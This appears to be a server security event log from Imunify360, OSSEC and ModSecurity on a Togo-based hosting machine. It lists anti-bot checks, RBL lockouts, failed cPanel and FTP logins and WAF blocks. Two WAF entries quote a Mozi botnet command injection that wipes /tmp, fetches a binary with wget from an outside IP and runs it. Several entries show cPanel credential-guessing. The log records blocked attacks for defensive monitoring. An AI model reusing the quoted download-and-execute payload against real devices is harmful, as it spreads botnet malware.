IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/03/Screenshot_20250304-090324.jpg 718w, http:/togodailynews.tg/wp-content/uploads/2025/03/Screenshot_20250304-090324-300x246.jpg 300w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.105.222.214
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/Page-4-B.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.113.235.253
country_id: 1512440
description:
2026-06-17 18:15:53 H=([95.214.210.48]) [188.113.235.253]:25706 F=<John@4452.com> rejected RCPT <tps@tps.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 112.215.152.139
country_id: 1643084
description:
112.215.152.139 - - [17/Jun/2026:18:16:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607368&pdata=http%253A%252F%252Fekeasarl.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720214 HTTP/1.1" 302 0 ekeasarl.com "http://ekeasarl.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:112.215.152.139


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 112.215.152.78
country_id: 1643084
description:
112.215.152.78 - - [17/Jun/2026:18:17:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920604&pdata=https%253A%252F%252Fmesyscom.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720272 HTTP/2.0" 302 0 mesyscom.com "https://mesyscom.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:112.215.152.78


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:18:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:18:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.213.14.160
country_id: 1643084
description:
140.213.14.160 - - [17/Jun/2026:18:18:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263196&pdata=https%253A%252F%252Fsahamtg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720297 HTTP/2.0" 302 0 sahamtg.com "https://sahamtg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.213.14.160


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.37.141.111
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/972909718 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 112.215.152.78
country_id: 1643084
description:
112.215.152.78 - - [17/Jun/2026:18:19:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711914&pdata=https%253A%252F%252Fsoeurndetogo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720359 HTTP/2.0" 302 0 soeurndetogo.com "https://soeurndetogo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:112.215.152.78


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 17 18:18:44 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.242
country_id: 1269750
description:
Jun 17 18:19:33 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.242 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.126
country_id: 1880251
description:
47.128.122.126 - - [17/Jun/2026:18:19:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328984&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Finternationale%252Fpage%252F6%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720379 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/internationale/page/6/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.126


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 17 18:19:59 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 122.50.1.171
country_id: 1168579
domain: 154.70.82.246:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.18||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd /tmp;rm -rf *;wget http://122.50.1.171:40452/mozi.a;chmod 777 mozi.a;/tmp/mozi.a jaws||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 17 18:20:27 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77142265
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 122.50.1.171
country_id: 1168579
domain: 154.70.82.246:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.18||T:APACHE||MVN:MATCHED_VAR||MV:/shell?cd+/tmp;rm+-rf+*;wget+http:/122.50.1.171:40452/mozi.a;chmod+777+mozi.a;/tmp/mozi.a+jaws||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 17 18:22:04 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 18:22:09 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:22:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274924&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720557 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.212.216.109
country_id: 3617476
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/latf-nouvel-outil-de-securisation-des-frontieres-au-togo/ HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.140.23.31
country_id: 6254930
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/latf-nouvel-outil-de-securisation-des-frontieres-au-togo/ HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.12.25
country_id: 798544
description:
Jun 17 18:22:53 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.12.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 17 18:24:34 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 17 18:25:39 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.67
country_id: 3469034
description:
Jun 17 18:25:57 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.67 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.180
country_id: 6252001
description:
Jun 17 18:26:19 ns5 pure-ftpd[2177777]: (?@147.185.132.180) [INFO] New connection from 147.185.132.180


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 18:29:17 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:18:29:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13001364&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720951 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:29:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145490&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781720959 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:18:34:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:18:34:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:34:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:34:25 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.84.199
country_id: 2921044
description:
[2026-06-17 18:37:06 +0000] info [cpaneld] 217.181.84.199 - yydrdvav "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.25.193.78
country_id: 2661886
description:
171.25.193.78 - doufelg [17/Jun/2026:18:37:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972829&pdata=https%253A%252F%252Fsp-eau.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781721446 HTTP/2.0" 302 0 sp-eau.tg "https://sp-eau.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.25.193.78


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 18:37:40 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:38:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986387&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781721512 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 114.119.140.170
country_id: 1880251
domain: refonte.sodigaz.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.18||T:APACHE||MV:/assets/images/accesson.php||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:18:38:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606553&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781721506 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.117
country_id: 2635167
description:
[2026-06-17 18:41:14 +0000] info [cpaneld] 5.230.133.117 NEW sotragonet:QZh_z8JLDUDRClIs address=5.230.133.117,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:18:43:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12808860&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781721787 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:43:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515868&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781721789 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 207.90.244.21
country_id: 6252001
description:
Jun 17 18:44:53 ns5 pure-ftpd[2191096]: (?@207.90.244.21) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 103.186.31.45
country_id: 1643084
domain: misstogo.tg
description:
IM360 WAF: Possible XSS in arguments||MV:0acqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbque=0000000000000098tlezlbo3ev7dgvltnpypfp6kazlvworwi ztcmh xoc6onxogedbjbwyc e/b onbykospqhjykdmw5p9fwd9qkfhoccvagnrjwg0a3krhlx6fezue4othqdzq884tty12dkk9w64rwcjmyjjqw06w==||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 103.186.31.45
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: Possible XSS in arguments||MV:0acqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbqufbque=0000000000000098tlezlbo3ev7dgvltnpypfp6kazlvworwi ztcmh xoc6onxogedbjbwyc e/b onuhcv3bxttxq0u4u7qbwgbs4ma59txhpi5hgpoazdztlmkamibkyrdxozifdu0xdujsy8ik8e3teqldjkfpvseg==||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:18:47:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:18:47:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:47:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:47:15 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 132.243.122.142
country_id: 290557
description:
2026-06-17 18:48:07 dovecot_plain authenticator failed for H=(dzxxosbrkzu98xnuy7rsj8) [132.243.122.142]:53722: 535 Incorrect authentication data (set_id=support.technique@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.0.154.28
country_id: 3469034
description:
[2026-06-17 18:49:02 +0000] info [cpaneld] 168.0.154.28 - ortouch "GET /login/?login_only=1&user=ortouch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.103.140.123
country_id: 298795
description:
[2026-06-17 18:49:13 +0000] info [cpaneld] 85.103.140.123 - orto "GET /login/?login_only=1&user=orto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user orto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.7.94.136
country_id: 1605651
description:
[2026-06-17 18:48:58 +0000] info [cpaneld] 171.7.94.136 - ortouchecom "GET /login/?login_only=1&user=ortouchecom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouchecom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.187.139.120
country_id: 2464461
description:
[2026-06-17 18:49:04 +0000] info [cpaneld] 196.187.139.120 - ortouc "GET /login/?login_only=1&user=ortouc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.172.61.90
country_id: 3996063
description:
[2026-06-17 18:49:01 +0000] info [cpaneld] 187.172.61.90 - ortouch "GET /login/?login_only=1&user=ortouch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.88.210.227
country_id: 2017370
description:
[2026-06-17 18:48:47 +0000] info [cpaneld] 45.88.210.227 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.217
country_id: 2635167
description:
[2026-06-17 18:49:28 +0000] info [cpaneld] 5.230.153.217 - libertepansel "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.167.182.184
country_id: 2017370
description:
[2026-06-17 18:50:36 +0000] info [cpaneld] 95.167.182.184 - exper "GET /login/?login_only=1&user=exper&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exper (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.122.88.43
country_id: 3865483
description:
[2026-06-17 18:50:41 +0000] info [cpaneld] 186.122.88.43 - expert "GET /login/?login_only=1&user=expert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.71.63.126
country_id: 3469034
description:
[2026-06-17 18:50:50 +0000] info [cpaneld] 45.71.63.126 - expe "GET /login/?login_only=1&user=expe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.148.175.246
country_id: 3686110
description:
[2026-06-17 18:50:53 +0000] info [cpaneld] 186.148.175.246 - exp "GET /login/?login_only=1&user=exp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.94.150.83
country_id: 3895114
description:
